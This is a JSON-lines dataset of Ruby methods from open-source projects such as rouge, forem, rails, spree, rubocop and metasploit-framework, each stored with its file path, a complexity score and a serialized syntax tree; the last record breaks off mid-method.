{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatters/html.rb","start_line":99,"raw_source":"def span(tok, val)\n        val = val.gsub(/[&<>]/, TABLE_FOR_ESCAPE_HTML)\n        shortname = tok.shortname or raise \"unknown token: #{tok.inspect} for #{val.inspect}\"\n\n        if shortname.empty?\n          yield val\n        else\n          if @inline_theme\n            rules = @inline_theme.style_for(tok).rendered_rules\n\n            yield \"<span style=\\\"#{rules.to_a.join(';')}\\\">#{val}</span>\"\n          else\n            yield \"<span class=\\\"#{shortname}\\\">#{val}</span>\"\n          end\n        end\n      end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"span\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tok\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[&<>]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"const\",\"children\":[null,\"TABLE_FOR_ESCAPE_HTML\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shortname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tok\"]},\"shortname\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tok\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"inspect\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shortname\"]},\"empty?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inline_theme\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inline_theme\"]},\"style_for\",{\"type\":\"lvar\",\"children\":[\"tok\"]}]},\"rendered_rules\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span style=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"to_a\"]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shortname\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]}]}]}]}]}","id":"776163f3-9056-4507-a3f7-91d01ca8948d"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/ai/article_quality_assessor.rb","start_line":38,"raw_source":"def build_prompt\n      # Get the community description for context, specific to subforem if provided\n      community_description = if @subforem_id\n                                Settings::RateLimit.internal_content_description_spec(subforem_id: @subforem_id) ||\n                                  Settings::Community.community_description(subforem_id: @subforem_id)\n                              else\n                                Settings::RateLimit.internal_content_description_spec ||\n                                  Settings::Community.community_description\n                              end\n\n      articles_text = @articles.map.with_index(1) do |article, index|\n        <<~ARTICLE\n          Article #{index}:\n          Tags: #{article.cached_tag_list}\n          Title: #{article.title}\n          Body: #{article.body_markdown.truncate(10_000)} #{'(Truncated)' if article.body_markdown.length > 10_000}\n          #{\"Top Comments: #{article.comments.order(score: :desc).limit(3).pluck(:body_markdown).map { |content| content.truncate(750) }.join(\"\\n\")}\" if article.comments.any?}\n          ---\n        ARTICLE\n      end.join(\"\\n\")\n\n      <<~PROMPT\n        Analyze the following #{@articles.length} articles and identify which one is the HIGHEST QUALITY and which one is the LOWEST QUALITY.\n\n        Your assessment should focus on AUTHENTIC COMMUNITY-ORIENTED CONTENT that demonstrates genuine human connection and value that cannot be easily simulated by AI.\n\n        **Community Context:**\n        #{community_description.presence || 'No specific community description provided.'}\n\n        **Assessment Criteria:**\n\n        1. **Authentic Human Connection**: Does the author communicate personally, sharing real experiences, struggles, or insights that show genuine human perspective?\n\n        2. **Community Relevance**: Does the content meaningfully contribute to the community's purpose and interests, beyond just being technically correct?\n\n        3. **Genuine Engagement**: Does the content invite thoughtful discussion, help others, or address real community needs?\n\n        4. **Non-AI-Generated Authenticity**: Does the content show signs of being written by a real person with unique perspective, rather than generic AI-generated content?\n\n        5. **Community Building**: Does it foster connections, share knowledge in a personal way, or help build the community?\n\n        **HIGH QUALITY indicators (authentic community content):**\n        - Personal stories and experiences that relate to the community\n        - Genuine questions or discussions that invite community input\n        - Likely to create or continue to building genuine discussion threads\n        - Reactive to other posts directly within the community, or intent on sharing via embeds, etc.\n        - Sharing of real struggles, failures, or learning moments\n        - Content that helps others in a personal, relatable way\n        - Authentic enthusiasm or passion for the topic\n        - Content that shows the author's unique perspective and voice\n        - Community-focused questions or discussions\n        - Sharing of personal projects or experiments\n\n        **LOW QUALITY indicators (easily AI-generated or non-community-focused):**\n        - Generic, impersonal content that could be written by anyone\n        - Pure promotional or marketing content\n          - Promotion is okay if it's straightforward and honest. I.e. the post itself is an explicient launch anncounement etc. This should be considered quality authentic community content.\n        - Content that doesn't engage with the community\n        - Overly formal or academic content without personal touch\n        - Content that feels like it was generated by AI\n        - Off-topic or irrelevant content\n        - Low-effort posts without genuine engagement\n        - Poor formatting or structure\n\n        Here are the articles to assess:\n\n        #{articles_text}\n\n        Based on your analysis, respond with ONLY two numbers separated by a comma:\n        - First number: The article number (1-#{@articles.length}) that is the HIGHEST QUALITY (most authentically community-oriented)\n        - Second number: The article number (1-#{@articles.length}) that is the LOWEST QUALITY (least authentically community-oriented)\n\n        Example response: \"3,7\" (meaning Article 3 is highest quality, Article 7 is lowest quality)\n\n        Respond with only the two numbers separated by a comma:\n      PROMPT\n    end","complexity_score":52.03,"ast_json":"{\"type\":\"def\",\"children\":[\"build_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"community_description\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subforem_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"RateLimit\"]},\"internal_content_description_spec\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem_id\"]},{\"type\":\"ivar\",\"children\":[\"@subforem_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Community\"]},\"community_description\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem_id\"]},{\"type\":\"ivar\",\"children\":[\"@subforem_id\"]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"RateLimit\"]},\"internal_content_description_spec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Community\"]},\"community_description\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"articles_text\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"map\"]},\"with_index\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Article \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\"Tags: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"cached_tag_list\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Title: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Body: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"body_markdown\"]},\"truncate\",{\"type\":\"int\",\"children\":[10000]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"body_markdown\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"str\",\"children\":[\"(Truncated)\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"comments\"]},\"any?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Top Comments: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"comments\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[3]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"body_markdown\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"truncate\",{\"type\":\"int\",\"children\":[750]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"---\\n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Analyze the following \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" articles and identify which one is the HIGHEST QUALITY and which one is the LOWEST QUALITY.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Your assessment should focus on AUTHENTIC COMMUNITY-ORIENTED CONTENT that demonstrates genuine human connection and value that cannot be easily simulated by AI.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Community Context:**\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"community_description\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"No specific community description provided.\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Assessment Criteria:**\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"1. **Authentic Human Connection**: Does the author communicate personally, sharing real experiences, struggles, or insights that show genuine human perspective?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"2. **Community Relevance**: Does the content meaningfully contribute to the community's purpose and interests, beyond just being technically correct?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"3. **Genuine Engagement**: Does the content invite thoughtful discussion, help others, or address real community needs?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"4. **Non-AI-Generated Authenticity**: Does the content show signs of being written by a real person with unique perspective, rather than generic AI-generated content?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"5. **Community Building**: Does it foster connections, share knowledge in a personal way, or help build the community?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**HIGH QUALITY indicators (authentic community content):**\\n\"]},{\"type\":\"str\",\"children\":[\"- Personal stories and experiences that relate to the community\\n\"]},{\"type\":\"str\",\"children\":[\"- Genuine questions or discussions that invite community input\\n\"]},{\"type\":\"str\",\"children\":[\"- Likely to create or continue to building genuine discussion threads\\n\"]},{\"type\":\"str\",\"children\":[\"- Reactive to other posts directly within the community, or intent on sharing via embeds, etc.\\n\"]},{\"type\":\"str\",\"children\":[\"- Sharing of real struggles, failures, or learning moments\\n\"]},{\"type\":\"str\",\"children\":[\"- Content that helps others in a personal, relatable way\\n\"]},{\"type\":\"str\",\"children\":[\"- Authentic enthusiasm or passion for the topic\\n\"]},{\"type\":\"str\",\"children\":[\"- Content that shows the author's unique perspective and voice\\n\"]},{\"type\":\"str\",\"children\":[\"- Community-focused questions or discussions\\n\"]},{\"type\":\"str\",\"children\":[\"- Sharing of personal projects or experiments\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**LOW QUALITY indicators (easily AI-generated or non-community-focused):**\\n\"]},{\"type\":\"str\",\"children\":[\"- Generic, impersonal content that could be written by anyone\\n\"]},{\"type\":\"str\",\"children\":[\"- Pure promotional or marketing content\\n\"]},{\"type\":\"str\",\"children\":[\"  - Promotion is okay if it's straightforward and honest. I.e. the post itself is an explicient launch anncounement etc. This should be considered quality authentic community content.\\n\"]},{\"type\":\"str\",\"children\":[\"- Content that doesn't engage with the community\\n\"]},{\"type\":\"str\",\"children\":[\"- Overly formal or academic content without personal touch\\n\"]},{\"type\":\"str\",\"children\":[\"- Content that feels like it was generated by AI\\n\"]},{\"type\":\"str\",\"children\":[\"- Off-topic or irrelevant content\\n\"]},{\"type\":\"str\",\"children\":[\"- Low-effort posts without genuine engagement\\n\"]},{\"type\":\"str\",\"children\":[\"- Poor formatting or structure\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Here are the articles to assess:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"articles_text\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Based on your analysis, respond with ONLY two numbers separated by a comma:\\n\"]},{\"type\":\"str\",\"children\":[\"- First number: The article number (1-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\") that is the HIGHEST QUALITY (most authentically community-oriented)\\n\"]},{\"type\":\"str\",\"children\":[\"- Second number: The article number (1-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\") that is the LOWEST QUALITY (least authentically community-oriented)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Example response: \\\"3,7\\\" (meaning Article 3 is highest quality, Article 7 is lowest quality)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Respond with only the two numbers separated by a comma:\\n\"]}]}]}]}","id":"a1462a6b-938a-48a9-b1ae-5fa43c2ed8aa"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/models/spree/product_spec.rb","start_line":510,"raw_source":"def build_option_type_with_values(name, values)\n        values.each_with_object(create(:option_type, name: name)) do |val, ot|\n          ot.option_values.create(name: val.downcase, presentation: val)\n        end\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_option_type_with_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each_with_object\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"option_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]},{\"type\":\"arg\",\"children\":[\"ot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ot\"]},\"option_values\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"downcase\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presentation\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}]}","id":"0a8a93ae-6093-4d7c-94a3-81314c93c053"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inner_join_association_test.rb","start_line":65,"raw_source":"def test_user_supplied_joins_order_should_be_preserved\n    string_join = <<~SQL\n      JOIN people agents_people_2 ON agents_people_2.primary_contact_id = people.id\n    SQL\n    agents = Person.arel_table.alias(\"agents_people\")\n    agents_2 = Person.arel_table.alias(\"agents_people_2\")\n    constraint = agents[:primary_contact_id].eq(agents_2[:id]).and(agents[:id].gt(agents_2[:id]))\n\n    expected = people(:susan)\n    assert_equal [expected], Person.joins(string_join).joins(agents.create_join(agents, agents.create_on(constraint)))\n  end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_user_supplied_joins_order_should_be_preserved\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string_join\",{\"type\":\"str\",\"children\":[\"JOIN people agents_people_2 ON agents_people_2.primary_contact_id = people.id\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"agents\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"arel_table\"]},\"alias\",{\"type\":\"str\",\"children\":[\"agents_people\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"agents_2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"arel_table\"]},\"alias\",{\"type\":\"str\",\"children\":[\"agents_people_2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraint\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"primary_contact_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents_2\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"gt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents_2\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"people\",{\"type\":\"sym\",\"children\":[\"susan\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"joins\",{\"type\":\"lvar\",\"children\":[\"string_join\"]}]},\"joins\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents\"]},\"create_join\",{\"type\":\"lvar\",\"children\":[\"agents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agents\"]},\"create_on\",{\"type\":\"lvar\",\"children\":[\"constraint\"]}]}]}]}]}]}]}","id":"35b8ec0e-f91b-4e08-8988-19e935d6eb47"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/team.rb","start_line":209,"raw_source":"def collate_corrections(report, offset:, original:)\n        corrector = Corrector.new(original)\n\n        each_corrector(report) do |to_merge|\n          suppress_clobbering do\n            if offset.positive?\n              corrector.import!(to_merge, offset: offset)\n            else\n              corrector.merge!(to_merge)\n            end\n          end\n        end\n\n        corrector\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collate_corrections\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]},{\"type\":\"kwarg\",\"children\":[\"offset\"]},{\"type\":\"kwarg\",\"children\":[\"original\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"corrector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Corrector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"original\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_corrector\",{\"type\":\"lvar\",\"children\":[\"report\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_merge\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suppress_clobbering\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"positive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"import!\",{\"type\":\"lvar\",\"children\":[\"to_merge\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"to_merge\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}","id":"884a5693-6fbc-47cd-b224-f2779ec61ff7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/container_common.rb","start_line":104,"raw_source":"def deployment_prefix\n      \"#{MiqServer.my_server.compressed_id}-\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deployment_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_server\"]},\"compressed_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}","id":"6e936549-3b32-4d34-9d3c-d81f23297f58"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":266,"raw_source":"def patterns_to_include\n      for_all_cops['Include'] || []\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"patterns_to_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Include\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"338bb80b-6de5-48b5-ba0e-b4f1be8b668f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/login.rb","start_line":136,"raw_source":"def password_prompt?(username=nil)\n    return true if(@recvd =~ @password_regex)\n    if username\n      return true if !(username.empty?) and @recvd.to_s.include?(\"#{username}'s\")\n    end\n    return false\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"password_prompt?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recvd\"]},\"=~\",{\"type\":\"ivar\",\"children\":[\"@password_regex\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"empty?\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recvd\"]},\"to_s\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"'s\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"7d309d43-0b58-4434-ad79-d4f421a95d06"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/sales_total.rb","start_line":24,"raw_source":"def product\n        record.variant.descriptive_name\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"product\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"variant\"]},\"descriptive_name\"]}]}","id":"2401dda4-3dc5-4ad3-925c-34a2012ac991"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/topic.rb","start_line":244,"raw_source":"def copy_quote_button\n        find(copy_quote_button_selector)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_quote_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"copy_quote_button_selector\"]}]}]}","id":"b40e40ec-56bf-405f-920c-ffb0cbb1915a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handler/merge_request_hook.rb","start_line":37,"raw_source":"def process(payload_params) # rubocop:disable Metrics/AbcSize, Metrics/PerceivedComplexity\n        update_status_on_new_mr = false # true if you only reference one merge by work_package, else false.\n        update_status_on_merged = false # true if you only reference one merge by work_package, else false.\n        wp_status_id_on_new_mr = 7 # the id of the status.\n        wp_status_id_on_merged = 8 # the id of the status.\n\n        accepted_actions = %w[open update reopen]\n        accepted_actions_for_comments = %w[open reopen]\n        accepted_states = %w[closed merged]\n\n        @payload = wrap_payload(payload_params)\n        return unless (accepted_actions.include? payload.object_attributes.action) || (accepted_states.include? payload.object_attributes.state)\n\n        user = User.find_by_id(payload.open_project_user_id)\n        text = [payload.object_attributes.title, payload.object_attributes.description]\n          .select(&:present?)\n          .join(\" - \")\n        work_packages = find_mentioned_work_packages(text, user)\n        notes = generate_notes(payload)\n\n        if (accepted_actions_for_comments.include? payload.object_attributes.action) || (accepted_states.include? payload.object_attributes.state)\n          comment_on_referenced_work_packages(work_packages, user, notes)\n          if payload.object_attributes.state == \"opened\" && update_status_on_new_mr\n            status_on_referenced_work_packages(work_packages, user, wp_status_id_on_new_mr)\n          elsif payload.object_attributes.state == \"merged\" && update_status_on_merged\n            status_on_referenced_work_packages(work_packages, user, wp_status_id_on_merged)\n          end\n        end\n        upsert_merge_request(work_packages)\n      